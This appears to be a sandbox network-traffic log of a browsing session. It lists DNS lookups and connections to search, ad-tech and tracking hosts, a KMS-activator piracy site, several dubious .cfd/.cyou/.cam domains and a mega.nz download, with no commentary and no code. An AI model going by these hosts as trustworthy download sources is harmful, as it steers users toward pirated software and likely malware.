US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 216.239.34.36:443 region1.analytics.google.com udp
US 151.101.65.91:443 prod.downloadnow.com udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 4.227.249.197:443 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com tcp
GB 142.250.178.4:443 www.google.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 216.239.34.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 support.mozilla.org udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 us-west1.prod.sumo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 www.mozilla.org udp
US 8.8.8.8:53 wiki.mozilla.org udp
US 8.8.8.8:53 www-mozilla.fastly-edge.com udp
US 8.8.8.8:53 prod.wikimo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.wikimo.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 www-mozilla.fastly-edge.com udp
US 8.8.8.8:53 duckduckgo.com udp
IE 52.142.124.215:443 duckduckgo.com tcp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
US 8.8.8.8:53 215.124.142.52.in-addr.arpa udp
US 8.8.8.8:53 links.duckduckgo.com udp
US 8.8.8.8:53 233.54.223.20.in-addr.arpa udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 222.125.142.52.in-addr.arpa udp
US 8.8.8.8:53 improving.duckduckgo.com udp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
IE 52.142.124.215:443 improving.duckduckgo.com tcp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 kms-auto.info udp
US 8.8.8.8:53 kms-auto.info udp
US 104.21.45.192:443 kms-auto.info tcp
US 8.8.8.8:53 kms-auto.info udp
US 104.21.45.192:443 kms-auto.info tcp
US 8.8.8.8:53 192.45.21.104.in-addr.arpa udp
US 104.21.45.192:443 kms-auto.info udp
US 8.8.8.8:53 4bind1.cfd udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 172.67.221.119:443 4bind1.cfd tcp
US 8.8.8.8:53 4bind1.cfd udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 stats.wp.com udp
US 8.8.8.8:53 4bind1.cfd udp
US 8.8.8.8:53 stats.wp.com udp
US 192.0.76.3:443 stats.wp.com tcp
US 8.8.8.8:53 stats.wp.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 172.67.221.119:443 4bind1.cfd udp
US 192.0.76.3:443 stats.wp.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 8.8.8.8:53 ajax.googleapis.com udp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
GB 216.58.204.74:443 ajax.googleapis.com tcp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 ajax.googleapis.com udp
US 8.8.8.8:53 119.221.67.172.in-addr.arpa udp
US 8.8.8.8:53 14.25.17.104.in-addr.arpa udp
US 8.8.8.8:53 74.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 3.76.0.192.in-addr.arpa udp
GB 216.58.204.74:443 ajax.googleapis.com udp
US 8.8.8.8:53 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com tcp
US 8.8.8.8:53 pixel.wp.com udp
US 192.0.76.3:443 pixel.wp.com udp
US 8.8.8.8:53 easy1.cyou udp
US 172.67.221.119:443 4bind1.cfd udp
US 172.67.164.132:443 easy1.cyou tcp
US 8.8.8.8:53 easy1.cyou udp
US 8.8.8.8:53 easy1.cyou udp
US 172.67.221.119:443 4bind1.cfd tcp
US 172.67.164.132:443 easy1.cyou udp
US 8.8.8.8:53 cleanie.cam udp
US 104.21.79.185:443 cleanie.cam tcp
US 8.8.8.8:53 cleanie.cam udp
US 8.8.8.8:53 cleanie.cam udp
US 8.8.8.8:53 185.79.21.104.in-addr.arpa udp
US 104.21.79.185:443 cleanie.cam udp
US 8.8.8.8:53 mega.nz udp
LU 31.216.144.5:443 mega.nz tcp
LU 31.216.144.5:443 mega.nz tcp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 mega.nz udp
US 8.8.8.8:53 5.144.216.31.in-addr.arpa udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 eu.static.mega.co.nz udp
US 8.8.8.8:53 g.api.mega.co.nz udp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
LU 66.203.125.14:443 g.api.mega.co.nz tcp
US 8.8.8.8:53 lu.api.mega.co.nz udp
US 8.8.8.8:53 37.124.203.66.in-addr.arpa udp
US 8.8.8.8:53 lu.api.mega.co.nz udp
US 8.8.8.8:53 14.125.203.66.in-addr.arpa udp
US 8.8.8.8:53 lu.api.mega.co.nz udp
US 8.8.8.8:53 g.megaad.nz udp
LU 89.44.169.132:443 g.megaad.nz tcp
US 8.8.8.8:53 g.megaad.nz udp
US 8.8.8.8:53 g.megaad.nz udp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 132.169.44.89.in-addr.arpa udp
LU 66.203.125.14:443 lu.api.mega.co.nz tcp
US 8.8.8.8:53 bt1.api.mega.co.nz udp
LU 66.203.125.11:443 bt1.api.mega.co.nz tcp
US 8.8.8.8:53 bt1.api.mega.co.nz udp
US 8.8.8.8:53 bt1.api.mega.co.nz udp
LU 66.203.125.11:443 bt1.api.mega.co.nz tcp
N/A 127.0.0.1:6341 tcp
N/A 127.0.0.1:6341 tcp
US 8.8.8.8:53 11.125.203.66.in-addr.arpa udp
LU 66.203.124.37:443 eu.static.mega.co.nz tcp
US 8.8.8.8:53 gfs262n342.userstorage.mega.co.nz udp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
US 8.8.8.8:53 gfs262n342.userstorage.mega.co.nz udp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
US 8.8.8.8:53 gfs262n342.userstorage.mega.co.nz udp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
DE 94.24.36.52:443 gfs262n342.userstorage.mega.co.nz tcp
US 8.8.8.8:53 duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 duckduckgo.com udp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
US 8.8.8.8:53 www.7-zip.org udp
DE 49.12.202.237:443 www.7-zip.org tcp
DE 49.12.202.237:443 www.7-zip.org tcp
US 8.8.8.8:53 www.7-zip.org udp
US 8.8.8.8:53 www.7-zip.org udp
US 8.8.8.8:53 237.202.12.49.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.111.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 8.8.8.8:53 133.111.199.185.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
US 172.67.164.132:443 easy1.cyou tcp
US 104.21.10.209:443 easy1.cyou tcp
US 8.8.8.8:53 25.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 209.10.21.104.in-addr.arpa udp
US 172.67.164.132:443 easy1.cyou udp
US 8.8.8.8:53 download.cnet.com udp
US 151.101.129.91:443 download.cnet.com tcp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 n.sni.global.fastly.net udp
US 8.8.8.8:53 download.cnet.com udp
US 151.101.129.91:443 download.cnet.com tcp
US 151.101.129.91:443 download.cnet.com udp
IE 52.142.124.215:443 duckduckgo.com tcp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 external-content.duckduckgo.com udp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 20.223.54.233:443 links.duckduckgo.com tcp
US 8.8.8.8:53 links.duckduckgo.com udp
IE 52.142.125.222:443 external-content.duckduckgo.com tcp
NL 2.16.27.225:443 www.bing.com tcp
US 8.8.8.8:53 e86303.dscx.akamaiedge.net udp
US 8.8.8.8:53 e86303.dscx.akamaiedge.net udp
NL 2.16.27.225:443 www.bing.com udp
US 8.8.8.8:53 en.softonic.com udp
US 151.101.1.91:443 en.softonic.com tcp
US 8.8.8.8:53 swls.map.fastly.net udp
US 8.8.8.8:53 swls.map.fastly.net udp
US 151.101.1.91:443 swls.map.fastly.net udp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 c.amazon-adsystem.com udp
US 8.8.8.8:53 assets.sftcdn.net udp
US 8.8.8.8:53 images.sftcdn.net udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 rv-assets.softonic.com udp
US 8.8.8.8:53 js-de.sentry-cdn.com udp
AT 18.66.27.26:443 sdk.privacy-center.org tcp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 151.101.129.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
GB 142.250.178.4:443 www.google.com tcp
US 151.101.66.217:443 js-de.sentry-cdn.com tcp
US 151.101.65.91:443 rv-assets.softonic.com tcp
US 151.101.65.91:443 rv-assets.softonic.com tcp
US 151.101.65.91:443 rv-assets.softonic.com tcp
US 151.101.129.91:443 rv-assets.softonic.com tcp
AT 18.66.22.10:443 c.amazon-adsystem.com tcp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 js-de.sentry-cdn.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
GB 216.58.213.2:443 securepubads.g.doubleclick.net tcp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 d1ykf07e75w7ss.cloudfront.net udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
GB 142.250.178.4:443 www.google.com udp
US 151.101.65.91:443 rv-assets.softonic.com udp
AT 18.66.27.26:443 sdk.privacy-center.org udp
US 151.101.65.91:443 rv-assets.softonic.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 225.27.16.2.in-addr.arpa udp
US 8.8.8.8:53 91.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 217.66.101.151.in-addr.arpa udp
US 8.8.8.8:53 26.27.66.18.in-addr.arpa udp
US 8.8.8.8:53 btloader.com udp
US 151.101.129.91:443 rv-assets.softonic.com udp
US 172.67.41.60:443 btloader.com tcp
GB 216.58.213.2:443 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 ag.dns-finder.com udp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 172.67.69.19:443 ad-delivery.net tcp
US 172.67.69.19:443 ad-delivery.net tcp
US 8.8.8.8:53 ad-delivery.net udp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 8.8.8.8:53 ad-delivery.net udp
AT 3.161.119.51:443 config.aps.amazon-adsystem.com tcp
US 8.8.8.8:53 config.aps.amazon-adsystem.com udp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 172.67.74.232:443 cdn.btmessage.com tcp
US 8.8.8.8:53 cdn.btmessage.com udp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 api.btloader.com udp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 cdn.btmessage.com udp
US 8.8.8.8:53 cdn.id5-sync.com udp
US 104.22.52.86:443 cdn.id5-sync.com tcp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 api.btmessage.com udp
US 172.67.74.232:443 api.btmessage.com tcp
US 8.8.8.8:53 api.btmessage.com udp
US 8.8.8.8:53 60.41.67.172.in-addr.arpa udp
US 8.8.8.8:53 19.69.67.172.in-addr.arpa udp
US 8.8.8.8:53 51.119.161.3.in-addr.arpa udp
US 8.8.8.8:53 86.52.22.104.in-addr.arpa udp
US 8.8.8.8:53 api.btmessage.com udp
US 8.8.8.8:53 notix.io udp
NL 139.45.197.108:443 notix.io tcp
US 8.8.8.8:53 notix.io udp
US 8.8.8.8:53 notix.io udp
US 8.8.8.8:53 108.197.45.139.in-addr.arpa udp
US 8.8.8.8:53 api.privacy-center.org udp
US 8.8.8.8:53 aax.amazon-adsystem.com udp
US 8.8.8.8:53 id5-sync.com udp
US 8.8.8.8:53 id.crwdcntrl.net udp
AT 3.161.119.72:443 api.privacy-center.org tcp
AT 3.161.119.72:443 api.privacy-center.org tcp
US 8.8.8.8:53 api.privacy-center.org udp
US 8.8.8.8:53 ad.360yield.com udp
US 8.8.8.8:53 hbopenbid.pubmatic.com udp
US 8.8.8.8:53 ap.lijit.com udp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 shb.richaudience.com udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 hb-api.omnitagjs.com udp
US 8.8.8.8:53 cdn-ima.33across.com udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 ebd62f2a460cd47e31967151af6f768d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 api.privacy-center.org udp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 www.clarity.ms udp
GB 172.217.169.33:443 ebd62f2a460cd47e31967151af6f768d.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 ebd62f2a460cd47e31967151af6f768d.safeframe.googlesyndication.com udp
GB 142.250.179.226:443 ep1.adtrafficquality.google tcp
US 8.8.8.8:53 hbopenbid-lhrc.pubmnet.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 wct.softonic.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 hb-api.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 shb.richaudience.com udp
US 216.239.34.36:443 region1.analytics.google.com tcp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 htlb.casalemedia.com udp
GB 142.250.187.227:443 www.google.co.uk tcp
US 104.26.3.63:443 wct.softonic.com tcp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
US 8.8.8.8:53 hbopenbid-lhrc.pubmnet.com udp
US 8.8.8.8:53 euw-ice.360yield.com udp
US 8.8.8.8:53 region1.analytics.google.com udp
DE 157.90.33.121:443 push-sdk.com tcp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
US 8.8.8.8:53 api.wecantrack.com udp
US 8.8.8.8:53 ebd62f2a460cd47e31967151af6f768d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 blackbird-prd-ew1-alb-87915139.eu-west-1.elb.amazonaws.com udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 shb.richaudience.com udp
US 8.8.8.8:53 hb-api.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 s-part-0036.t-0009.t-msedge.net udp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 push-sdk.com udp
US 8.8.8.8:53 stats.g.doubleclick.net udp
AT 3.161.119.72:443 api.privacy-center.org udp
US 8.8.8.8:53 region1.analytics.google.com udp
US 8.8.8.8:53 api.wecantrack.com udp
GB 142.250.179.226:443 ep1.adtrafficquality.google udp
GB 172.217.169.33:443 ebd62f2a460cd47e31967151af6f768d.safeframe.googlesyndication.com udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
GB 142.250.180.1:443 ep2.adtrafficquality.google tcp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
GB 142.250.187.227:443 www.google.co.uk udp
US 8.8.8.8:53 ep2.adtrafficquality.google udp
BE 74.125.206.155:443 stats.g.doubleclick.net tcp
US 8.8.8.8:53 72.119.161.3.in-addr.arpa udp
US 8.8.8.8:53 33.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 226.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 63.3.26.104.in-addr.arpa udp
US 8.8.8.8:53 121.33.90.157.in-addr.arpa udp
BE 74.125.206.155:443 stats.g.doubleclick.net udp
US 8.8.8.8:53 s.richaudience.com udp
US 8.8.8.8:53 qsearch-a.akamaihd.net udp
GB 142.250.180.1:443 ep2.adtrafficquality.google udp
US 8.8.8.8:53 uidsync.net udp
AT 3.165.211.140:443 aax.amazon-adsystem.com tcp
US 8.8.8.8:53 s.richaudience.com udp
DE 178.63.248.56:443 uidsync.net tcp
DE 178.63.248.56:443 uidsync.net tcp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 d1jvc9b8z3vcjs.cloudfront.net udp
US 8.8.8.8:53 id5-sync.com udp
GB 88.221.134.90:443 qsearch-a.akamaihd.net tcp
US 8.8.8.8:53 a267.g.akamai.net udp
US 8.8.8.8:53 s.richaudience.com udp
US 8.8.8.8:53 uidsync.net udp
US 8.8.8.8:53 a267.g.akamai.net udp
GB 88.221.134.90:443 a267.g.akamai.net tcp
US 216.239.34.36:443 region1.analytics.google.com udp
US 8.8.8.8:53 155.206.125.74.in-addr.arpa udp
US 8.8.8.8:53 140.211.165.3.in-addr.arpa udp
US 8.8.8.8:53 90.134.221.88.in-addr.arpa udp
DE 162.19.138.82:443 id5-sync.com tcp
IE 63.32.145.18:443 id.crwdcntrl.net tcp
US 104.18.28.101:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
US 13.107.246.64:443 s-part-0036.t-0009.t-msedge.net tcp
DE 178.63.241.79:443 s.richaudience.com tcp
DE 162.19.138.82:443 id5-sync.com tcp
US 8.8.8.8:53 lb.eu-1-id5-sync.com udp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 lb.eu-1-id5-sync.com udp
US 8.8.8.8:53 lb.eu-1-id5-sync.com udp
US 8.8.8.8:53 c.clarity.ms udp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
IE 63.32.145.18:443 id.crwdcntrl.net tcp
US 104.18.28.101:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
DE 178.63.241.79:443 s.richaudience.com tcp
DE 162.19.138.82:443 lb.eu-1-id5-sync.com tcp
IE 13.74.129.1:443 c.clarity.ms tcp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
DE 141.95.98.65:443 lb.eu-1-id5-sync.com tcp
US 8.8.8.8:53 c-msn-pme.trafficmanager.net udp
US 8.8.8.8:53 u.clarity.ms udp
IE 13.74.129.1:443 c-msn-pme.trafficmanager.net tcp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 clarity-ingest-eus-d-sc.eastus.cloudapp.azure.com udp
US 8.8.8.8:53 lexicon.33across.com udp
US 35.244.193.51:443 lexicon.33across.com tcp
US 8.8.8.8:53 lexicon.33across.com udp
US 8.8.8.8:53 u.clarity.ms udp
US 8.8.8.8:53 18.145.32.63.in-addr.arpa udp
US 8.8.8.8:53 82.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 79.241.63.178.in-addr.arpa udp
US 8.8.8.8:53 65.98.95.141.in-addr.arpa udp
US 8.8.8.8:53 lexicon.33across.com udp
US 4.227.249.197:443 u.clarity.ms tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
GB 142.250.200.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 35.244.193.51:443 lexicon.33across.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 cdn.ampproject.org udp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
GB 172.217.169.65:443 cdn.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
US 8.8.8.8:53 lh4.googleusercontent.com udp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
US 8.8.8.8:53 cdn-content.ampproject.org udp
GB 216.58.212.225:443 lh4.googleusercontent.com tcp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 c.bing.com udp
US 150.171.27.10:443 c.bing.com tcp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
US 8.8.8.8:53 googlehosted.l.googleusercontent.com udp
US 8.8.8.8:53 ax-0001.ax-msedge.net udp
GB 216.58.212.225:443 googlehosted.l.googleusercontent.com udp
GB 142.250.200.1:443 tpc.googlesyndication.com udp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org tcp
GB 172.217.169.65:443 cdn-content.ampproject.org udp
US 8.8.8.8:53 51.193.244.35.in-addr.arpa udp
US 8.8.8.8:53 225.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 8.8.8.8:53 visitor.omnitagjs.com udp
US 8.8.8.8:53 sync.richaudience.com udp
US 8.8.8.8:53 js-sec.indexww.com udp
FR 34.1.1.166:443 visitor.omnitagjs.com tcp
US 8.8.8.8:53 visitor.europe-west9.gcp.omnitagjs.com udp
GB 2.18.109.44:443 ads.pubmatic.com tcp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
DE 167.235.114.248:443 sync.richaudience.com tcp
US 8.8.8.8:53 sync.richaudience.com udp
US 8.8.8.8:53 visitor.europe-west9.gcp.omnitagjs.com udp
US 8.8.8.8:53 sync.richaudience.com udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 secure.adnxs.com udp
US 8.8.8.8:53 x.bidswitch.net udp
US 8.8.8.8:53 sync.1rx.io udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 image8.pubmatic.com udp
US 8.8.8.8:53 csync.loopme.me udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 jadserve.postrelease.com udp
US 8.8.8.8:53 sync-service.net udp
US 8.8.8.8:53 tracker.open-adsyield.com udp
US 8.8.8.8:53 bttrack.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 onetag-sys.com udp
US 8.8.8.8:53 ssc-cms.33across.com udp
NL 35.214.162.172:443 csync.loopme.me tcp
US 8.8.8.8:53 envoy-hl.envoy-csync.core-002-ew4.ov1o.com udp
US 8.8.8.8:53 player.aniview.com udp
US 8.8.8.8:53 ssbsync.smartadserver.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 172.111.38.111:443 tracker.open-adsyield.com tcp
US 8.8.8.8:53 bttrack.com udp
US 8.8.8.8:53 tracker-use.ortb.net udp
US 204.62.12.209:443 sync-service.net tcp
US 8.8.8.8:53 jadserve.postrelease.com.akadns.net udp
US 8.8.8.8:53 sync.1rx.io udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 sync-service.net udp
DE 51.89.9.252:443 onetag-sys.com tcp
US 67.202.105.21:443 ssc-cms.33across.com tcp
US 8.8.8.8:53 onetag-sys.com udp
US 8.8.8.8:53 pixel.33across.com udp
US 8.8.8.8:53 tracker-use.ortb.net udp
US 8.8.8.8:53 bttrack.com udp
US 8.8.8.8:53 id.rlcdn.com udp
GB 2.18.109.44:443 e6603.g.akamaiedge.net tcp
US 8.8.8.8:53 sync-service.net udp
US 8.8.8.8:53 jadserve.postrelease.com.akadns.net udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 54.236.105.37:443 cs-server-s2s.yellowblue.io tcp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
FR 91.134.110.133:443 ssbsync.smartadserver.com tcp
US 8.8.8.8:53 ssbsync-euw2.smartadserver.com udp
US 8.8.8.8:53 user-data-eu.bidswitch.net udp
US 8.8.8.8:53 cs-server-s2s.yellowblue.io udp
US 8.8.8.8:53 166.1.1.34.in-addr.arpa udp
US 8.8.8.8:53 248.114.235.167.in-addr.arpa udp
US 8.8.8.8:53 172.162.214.35.in-addr.arpa udp
US 8.8.8.8:53 252.9.89.51.in-addr.arpa udp
US 8.8.8.8:53 133.110.134.91.in-addr.arpa udp
US 8.8.8.8:53 111.38.111.172.in-addr.arpa udp
US 8.8.8.8:53 209.12.62.204.in-addr.arpa udp
US 8.8.8.8:53 37.105.236.54.in-addr.arpa udp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
DE 37.252.171.52:443 ib.anycast.adnxs.com tcp
NL 35.214.136.108:443 user-data-eu.bidswitch.net tcp
NL 46.228.174.117:443 sync.1rx.io tcp
US 34.205.206.47:443 sync.srv.stackadapt.com tcp
IE 18.200.101.57:443 jadserve.postrelease.com.akadns.net tcp
IE 52.208.33.182:443 ap.lijit.com tcp
IE 52.208.33.182:443 ap.lijit.com tcp
US 192.132.33.69:443 bttrack.com tcp
US 35.244.174.68:443 id.rlcdn.com tcp
US 8.8.8.8:53 rtb-csync.smartadserver.com udp
US 8.8.8.8:53 bh.contextweb.com udp
US 8.8.8.8:53 match.sharethrough.com udp
DE 51.89.9.252:443 onetag-sys.com udp
US 8.8.8.8:53 rtb-csync-euw1.smartadserver.com udp
US 8.8.8.8:53 match-eu-central-1-ecs.sharethrough.com udp
US 8.8.8.8:53 am1-direct-bgp.contextweb.com udp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
NL 81.17.55.172:443 rtb-csync-euw1.smartadserver.com tcp
NL 208.93.169.131:443 am1-direct-bgp.contextweb.com tcp
DE 18.184.119.72:443 match.sharethrough.com tcp
